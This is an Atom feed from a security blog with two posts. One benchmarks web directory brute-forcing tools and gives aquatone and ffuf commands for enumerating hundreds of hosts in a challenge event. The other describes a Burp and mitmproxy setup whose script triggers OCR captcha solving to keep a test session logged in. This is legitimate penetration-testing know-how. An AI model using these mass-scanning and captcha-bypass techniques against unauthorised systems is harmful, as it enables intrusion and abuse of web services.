<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7564576430043279231</id><updated>2026-07-05T21:56:27.478+03:00</updated><category term="firmware reversing"/><category term="metasploit"/><category term="honeypot phpmyadmin"/><category term="metasploit migrate email"/><category term="powershell"/><category term="virustotal"/><category term="windbg"/><title type='text'>0entropy</title><subtitle type='html'>Security, system administration and everyday things that made a difference.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>42</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-258676162185920156</id><published>2020-05-19T20:13:00.000+03:00</published><updated>2020-05-19T20:13:46.442+03:00</updated><title type='text'>Late to the party, or, in other words massive web enumeration using ffuf.</title><content type='html'>Few days back I had the opportunity to take part in a challenge event, which I went last minute and unprepared.&lt;br /&gt;
&lt;br /&gt;
There are few good reason to the last minute and not being prepared, mainly because I was invited late on the event and I had to prepare my environment as well, when others had their tools ready.&lt;br /&gt;
&lt;br /&gt;
So I was late in the party. As most of the events for me, can only take place after working hours, I had to be quick in order to catch up with the others.&lt;br /&gt;
&lt;br /&gt;
The event, roughly 500 hosts in different networks (results from nmap scan were provided) non sequential and in different networks waiting to be scanned.&lt;br /&gt;
&lt;br /&gt;
On the last months my favorite tool for web enumeration had been ffuf,&amp;nbsp;&lt;a href=&quot;https://github.com/ffuf/ffuf&quot;&gt;https://github.com/ffuf/ffuf&lt;/a&gt;, but even with that alone I couldn&#39;t catch up easily on the others.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
Web dirbuster tool comparison&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
Some stats first on ffuf and comparison with other tools used in web &#39;dir-busting&#39;&lt;br /&gt;
&lt;br /&gt;
I&#39;ll be using&amp;nbsp;&lt;a href=&quot;http://testphp.vulnweb.com/&quot;&gt;http://testphp.vulnweb.com/&lt;/a&gt;&amp;nbsp;for the tests and default as much as possible, parameters on each tool.&lt;br /&gt;
&lt;br /&gt;
dirb, time 5.43 minutes.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEba6S4VqXZ3Jkbr2NGnrlF0p6AC7HLrlKgNysvxGmHfEbX3JtxwdGyA9caE6Hff35EhpNoAE7MJqDxhElZvww1BoRLdYR4n2dFJJQQL2EJ59vjD1UNwqV8gyecqTmA8ZUIBIOgMQMBb8G/s1600/Screenshot+2020-05-19+at+5.57.31+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1225&quot; data-original-width=&quot;1414&quot; height=&quot;554&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEba6S4VqXZ3Jkbr2NGnrlF0p6AC7HLrlKgNysvxGmHfEbX3JtxwdGyA9caE6Hff35EhpNoAE7MJqDxhElZvww1BoRLdYR4n2dFJJQQL2EJ59vjD1UNwqV8gyecqTmA8ZUIBIOgMQMBb8G/s640/Screenshot+2020-05-19+at+5.57.31+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Image 1. dirb&lt;br /&gt;
&lt;br /&gt;
gobuster time 8.8 seconds&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEbJBlbjlq-yTr-XwMqqtPucjXmyS0bUmW6-ukKRB1GoDvhvRSkH0BFXJtwDn_gJ793Xp61yRM5CUVEvaHSXnA31SgtzgKX3EOTEjQiOW5aCA7Isib9AQVhBE2jkKdxLsrQ4yE7pFcw2Ef/s1600/Screenshot+2020-05-19+at+6.06.18+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1042&quot; data-original-width=&quot;1600&quot; height=&quot;416&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEbJBlbjlq-yTr-XwMqqtPucjXmyS0bUmW6-ukKRB1GoDvhvRSkH0BFXJtwDn_gJ793Xp61yRM5CUVEvaHSXnA31SgtzgKX3EOTEjQiOW5aCA7Isib9AQVhBE2jkKdxLsrQ4yE7pFcw2Ef/s640/Screenshot+2020-05-19+at+6.06.18+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Image 2. gobuster&lt;br /&gt;
&lt;br /&gt;
wfuzz time 28.2 seconds&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXyPENjaqBFVF8fItDcZd_3t_ZLU3hbqQuemyU2EugF7gx_Y3ooBxS-PWzEiWOvJxQLw2rZ36VLMJDecnQK3ptulfyUEPuBpoYekF0noX0tjCdwWEbB7hHcRO-yDYpPWIMhemPSsEQ7kmC/s1600/Screenshot+2020-05-19+at+6.13.06+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;992&quot; data-original-width=&quot;1600&quot; height=&quot;396&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXyPENjaqBFVF8fItDcZd_3t_ZLU3hbqQuemyU2EugF7gx_Y3ooBxS-PWzEiWOvJxQLw2rZ36VLMJDecnQK3ptulfyUEPuBpoYekF0noX0tjCdwWEbB7hHcRO-yDYpPWIMhemPSsEQ7kmC/s640/Screenshot+2020-05-19+at+6.13.06+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Image 3. wfuzz&lt;br /&gt;
&lt;br /&gt;
fuff time 8.7 seconds&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt-oXG1kXxxsdrPEJIIqFNJxEi9L43qPFmkL8grnfaQdHFecd3BGUerL6ksf_gzv5Q72X0U-AbsRdS-t1SqBWs2n5szzAqfwHUs1pSZRGh8z7EjQZLA7opHJR4YvOrWzELnsQhfXqqnt5k/s1600/Screenshot+2020-05-19+at+6.09.08+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1227&quot; data-original-width=&quot;1600&quot; height=&quot;490&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt-oXG1kXxxsdrPEJIIqFNJxEi9L43qPFmkL8grnfaQdHFecd3BGUerL6ksf_gzv5Q72X0U-AbsRdS-t1SqBWs2n5szzAqfwHUs1pSZRGh8z7EjQZLA7opHJR4YvOrWzELnsQhfXqqnt5k/s640/Screenshot+2020-05-19+at+6.09.08+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Image 4. ffuf&lt;br /&gt;
&lt;br /&gt;
Turbo intruder time 13.3 seconds.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq_4iKWKXTHhqLgD51ALppN1ZE8cKTR6nDQheZA50uHBAPDQzOElI6JvGNcd7EF4yImMn-iWh0aQqVjjtqbIJT2bKAMucjrYhg1pIfRWwysT9oBOuhIGbEEY4eHYzXzeJNOT1Cu6a5Di-5/s1600/Screenshot+2020-05-19+at+7.10.41+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;760&quot; data-original-width=&quot;1600&quot; height=&quot;302&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq_4iKWKXTHhqLgD51ALppN1ZE8cKTR6nDQheZA50uHBAPDQzOElI6JvGNcd7EF4yImMn-iWh0aQqVjjtqbIJT2bKAMucjrYhg1pIfRWwysT9oBOuhIGbEEY4eHYzXzeJNOT1Cu6a5Di-5/s640/Screenshot+2020-05-19+at+7.10.41+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Image 4. Turbo intruder&lt;br /&gt;
&lt;br /&gt;
Brief comparison, lower is better:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFss08SVEfNL29esdR69mbpx5G14Qs3tgvL_0x3CSR6_sKO0efs0aLZ6C2sZQwrWqAY4cZ3X5_yV1NwqPh1Ch7BkWp4Zym_SrgD-8Vkltdll2sGcT8TxAviiQP4D-0NEMzgjUE7DVwrHdM/s1600/Screenshot+2020-05-19+at+7.23.03+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;724&quot; data-original-width=&quot;1600&quot; height=&quot;288&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFss08SVEfNL29esdR69mbpx5G14Qs3tgvL_0x3CSR6_sKO0efs0aLZ6C2sZQwrWqAY4cZ3X5_yV1NwqPh1Ch7BkWp4Zym_SrgD-8Vkltdll2sGcT8TxAviiQP4D-0NEMzgjUE7DVwrHdM/s640/Screenshot+2020-05-19+at+7.23.03+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Image 5. Brief comparison&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
So if you are not using ffuf, or turbo intruder ( I will explain later in another post as to why ) I&#39;ll advise to give them a try.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
Back to the methodology.&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
As mentioned above the data set was large and I was late.&amp;nbsp; So this was my methodology to gain some advantage in time.&lt;br /&gt;
&lt;br /&gt;
1. Enumeration of all common ports using aquatone, eg:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;cat hosts | aquatone&amp;nbsp; -ports large -out aquatone&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
2. Use gnu parallel to feed ffuf workers with the urls from aqutatone, verified working, using:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;cat aquatone/aquatone_urls.txt | parallel -j 50 -I{} ffuf -w /usr/share/dirb/common.txt:FUZZ -u {}FUZZ -o {#}_results.html -mc 200,403 -sf -fs 0 -of html&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Aquatone is taking roughly 6 minutes for 100 hosts and it will clean up ports that are not responding.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRB_-btJFZ46PpfzAPCiWJI7AqDFKQJgrrlIYBm3KdA74f9P4jjzXeqQBJ0atu3OPSd27AzJ3t0s2hRS6VSbxW4xOqIYrfmT2BAxZUP9GQQVKnASdXovBbCUSrWIlC8SAap8KGdsu89g6y/s1600/Screenshot+2020-05-19+at+7.41.58+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;1266&quot; height=&quot;404&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRB_-btJFZ46PpfzAPCiWJI7AqDFKQJgrrlIYBm3KdA74f9P4jjzXeqQBJ0atu3OPSd27AzJ3t0s2hRS6VSbxW4xOqIYrfmT2BAxZUP9GQQVKnASdXovBbCUSrWIlC8SAap8KGdsu89g6y/s640/Screenshot+2020-05-19+at+7.41.58+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Image 6. Aquatone results.&lt;br /&gt;
&lt;br /&gt;
Ffuf was able to produce results on the first few minutes which where easy to be analysed.&lt;br /&gt;
&lt;br /&gt;
The parameters on the filtering at ffuf may vary during the stage of the analysis that you are. I will recommend to have at least 403 and 301 with the 200 (OK, found) so you can see what is denied and what is redirected initially.&lt;br /&gt;
&lt;br /&gt;
Having in mind that I was aiming for speed mainly and not for quality at this phase.&amp;nbsp; I was able to get a good understanding on the targets and their setup in short time.&lt;br /&gt;
&lt;br /&gt;
Following post will be on turbo intruder and what makes a difference on this scanner.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/258676162185920156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2020/05/late-to-party-or-in-other-words-massive.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/258676162185920156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/258676162185920156'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2020/05/late-to-party-or-in-other-words-massive.html' title='Late to the party, or, in other words massive web enumeration using ffuf.'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEba6S4VqXZ3Jkbr2NGnrlF0p6AC7HLrlKgNysvxGmHfEbX3JtxwdGyA9caE6Hff35EhpNoAE7MJqDxhElZvww1BoRLdYR4n2dFJJQQL2EJ59vjD1UNwqV8gyecqTmA8ZUIBIOgMQMBb8G/s72-c/Screenshot+2020-05-19+at+5.57.31+PM.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-6533292169934978212</id><published>2020-03-24T16:42:00.000+02:00</published><updated>2020-03-24T16:42:28.187+02:00</updated><title type='text'>Solving CAPTCHA using Burp suite proxy and mitmproxy.</title><content type='html'>&lt;div class=&quot;tr_bq&quot;&gt;
Few days back I was facing an issue in one of my tests. The web application was logging my session off every few minutes and also it was logging me out in case of an exception, as a request that Burp was sending and couldn&#39;t be handled.&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
Initial idea was to go and instruct Burp proxy to use macro and re-authenticate the session but the application was using an additional captcha challenge that had to be solved.&lt;br /&gt;
&lt;br /&gt;
Overall there were 2 issues to overcome:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Keep the session authenticated through Burp&#39;s proxy scan (automated and manual)&lt;/li&gt;
&lt;li&gt;Find a way to solve the captcha.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
For these items went ahead with the following setup, Burp proxy -&amp;gt; mitmproxy -&amp;gt; Website.&lt;br /&gt;
&lt;br /&gt;
Burp proxy is configured to use an upstream proxy and pass all requests through there as shown in the image below:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcnBkLZnbVa7oX8b6-1LNdPvTTBy1kUJHN-2cZk1sEJ1BfvhiigAXIwjxnazkQ8axkWcoJZCUpJ5STjIXsAhr0zVmMifbtxcG_oK5CbumwE4pxUS0ZzUjC4_Y9USyPxsjB4L43TqPekGl5/s1600/Screenshot+2020-03-24+at+2.58.28+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;916&quot; data-original-width=&quot;1600&quot; height=&quot;366&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcnBkLZnbVa7oX8b6-1LNdPvTTBy1kUJHN-2cZk1sEJ1BfvhiigAXIwjxnazkQ8axkWcoJZCUpJ5STjIXsAhr0zVmMifbtxcG_oK5CbumwE4pxUS0ZzUjC4_Y9USyPxsjB4L43TqPekGl5/s640/Screenshot+2020-03-24+at+2.58.28+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Burp itself is listening on port 8082 and I&#39;m using firefox with FoxyProxy pointing to it.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigwnve2rMg23S2hMx2jVVPWniB22vokkGG1zFABnTgzcunwMnornaa4IVx5zH8uWzbqxeyJ4s0ECiU2eeJDRW2_zsx7T3zvCOTE5x0PSbgMFMdMNWgkbVGVKIZQbeBL1TH-lhrBJj4wsO_/s1600/Screenshot+2020-03-24+at+3.00.22+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;810&quot; data-original-width=&quot;1600&quot; height=&quot;322&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigwnve2rMg23S2hMx2jVVPWniB22vokkGG1zFABnTgzcunwMnornaa4IVx5zH8uWzbqxeyJ4s0ECiU2eeJDRW2_zsx7T3zvCOTE5x0PSbgMFMdMNWgkbVGVKIZQbeBL1TH-lhrBJj4wsO_/s640/Screenshot+2020-03-24+at+3.00.22+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Mitmproxy&#39;s script is very simple and essentially is handling this pattern that exist during the login phase.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjodn7wUk1LHlSpTFxC8GAR_pW9sMR3M76kOcoeieNR4U8V-Y1HGYfSywfeXKat2-OOGdGuQetEzbuepex4u-K1kg0_I6SjB50JOgd-_1BzCP_lIUJr5cHqfI3NUMQfqLBrPGU8C8jsN9kL/s1600/Screenshot+2020-03-24+at+3.18.26+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;65&quot; data-original-width=&quot;1600&quot; height=&quot;26&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjodn7wUk1LHlSpTFxC8GAR_pW9sMR3M76kOcoeieNR4U8V-Y1HGYfSywfeXKat2-OOGdGuQetEzbuepex4u-K1kg0_I6SjB50JOgd-_1BzCP_lIUJr5cHqfI3NUMQfqLBrPGU8C8jsN9kL/s640/Screenshot+2020-03-24+at+3.18.26+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Script is running with mitmproxy -s mitm.py&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The script it self can be something as the one below:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;clear: both;&quot;&gt;
&quot;&quot;&quot;&lt;br /&gt;This example shows how to parse a call and execute an external script&lt;br /&gt;which will re-authorize the user on the web application.&lt;br /&gt;&quot;&quot;&quot;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;clear: both;&quot;&gt;
from mitmproxy import http&lt;br /&gt;import subprocess&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;clear: both;&quot;&gt;
def response(flow: http.HTTPFlow) -&amp;gt; None:&lt;br /&gt;&amp;nbsp; &amp;nbsp; # Redirect is issued on the response, this is only used in the application for sending back the user to /logout. Match the response and call script.&lt;br /&gt;&amp;nbsp; &amp;nbsp; if (flow.response.status_code == 302):&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; subprocess.call(&quot;python3 ./imagedecode.py&quot;, shell=True)&lt;br /&gt;def request(flow: http.HTTPFlow) -&amp;gt; None:&lt;br /&gt;&amp;nbsp; &amp;nbsp; if flow.request.pretty_url.startswith(&quot;domain.com/user/index/login&quot;):&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; response()&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhdvqIndAdOmLPq1tNEGKnFfoS6_f0WuIzqbS0-6Fkc_U_nlSYm8jMyyWLjfoWLu3OdIAvFzpz8ThC6cv5IHBs_wH5QdoG1dz_XQ198e8Cs4qiBvR1lEz8R8Nvb505gK4quC3nj5ib3bXU/s1600/Screenshot+2020-03-24+at+3.30.49+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;422&quot; data-original-width=&quot;1600&quot; height=&quot;168&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhdvqIndAdOmLPq1tNEGKnFfoS6_f0WuIzqbS0-6Fkc_U_nlSYm8jMyyWLjfoWLu3OdIAvFzpz8ThC6cv5IHBs_wH5QdoG1dz_XQ198e8Cs4qiBvR1lEz8R8Nvb505gK4quC3nj5ib3bXU/s640/Screenshot+2020-03-24+at+3.30.49+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The script &#39;imagedecode.py&#39; is a script which is using tesseract OCR to process the captcha values and submit them to the website together with the login credentials.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The captcha images are simple as the ones below in the specific setup:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg93v5fYhOWaQ9nTx6MiBQGgYJ_IaMvlR2BO27ESc6AAHl_efIQZXAIszhDL-6ziCKXgGXI2wOQ7qXzDfWA-uXCm3jwMGrPxx7zgKvMoJG1KWXdUGN6uzTNeQlzUkJEF9O7WVodoumFa28G/s1600/Screenshot+2020-03-24+at+3.35.41+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;168&quot; data-original-width=&quot;262&quot; height=&quot;128&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg93v5fYhOWaQ9nTx6MiBQGgYJ_IaMvlR2BO27ESc6AAHl_efIQZXAIszhDL-6ziCKXgGXI2wOQ7qXzDfWA-uXCm3jwMGrPxx7zgKvMoJG1KWXdUGN6uzTNeQlzUkJEF9O7WVodoumFa28G/s200/Screenshot+2020-03-24+at+3.35.41+PM.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglbM0lQI8u3tbNm4j3-wCkpqJofImMJdob7QtfmZLSPl_bzQijRoLRAKgmlfSgiJfSWLRMAbEkwpASJfq7CDeo6QQlFhXHOn4pRqwDQsvrhrVvXN3y7fvpRVPurhTo36woAnZjGon52Tav/s1600/Screenshot+2020-03-24+at+3.35.50+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;188&quot; data-original-width=&quot;272&quot; height=&quot;138&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglbM0lQI8u3tbNm4j3-wCkpqJofImMJdob7QtfmZLSPl_bzQijRoLRAKgmlfSgiJfSWLRMAbEkwpASJfq7CDeo6QQlFhXHOn4pRqwDQsvrhrVvXN3y7fvpRVPurhTo36woAnZjGon52Tav/s200/Screenshot+2020-03-24+at+3.35.50+PM.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi59L_edQRtGdcQwzrDyQhtrK2BdEEOmIYyQU6FcevblLYJrpCbq0QEfiH2dyQnCUssgQwqCSAhnD5LEm84Nku_NCqNJYk_1-4lMv9CnaZZxdlHnHTtAx-FnNULYBLOv8fUsDK-N_eEvM_D/s1600/Screenshot+2020-03-24+at+3.36.03+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;176&quot; data-original-width=&quot;254&quot; height=&quot;138&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi59L_edQRtGdcQwzrDyQhtrK2BdEEOmIYyQU6FcevblLYJrpCbq0QEfiH2dyQnCUssgQwqCSAhnD5LEm84Nku_NCqNJYk_1-4lMv9CnaZZxdlHnHTtAx-FnNULYBLOv8fUsDK-N_eEvM_D/s200/Screenshot+2020-03-24+at+3.36.03+PM.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The script itself:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
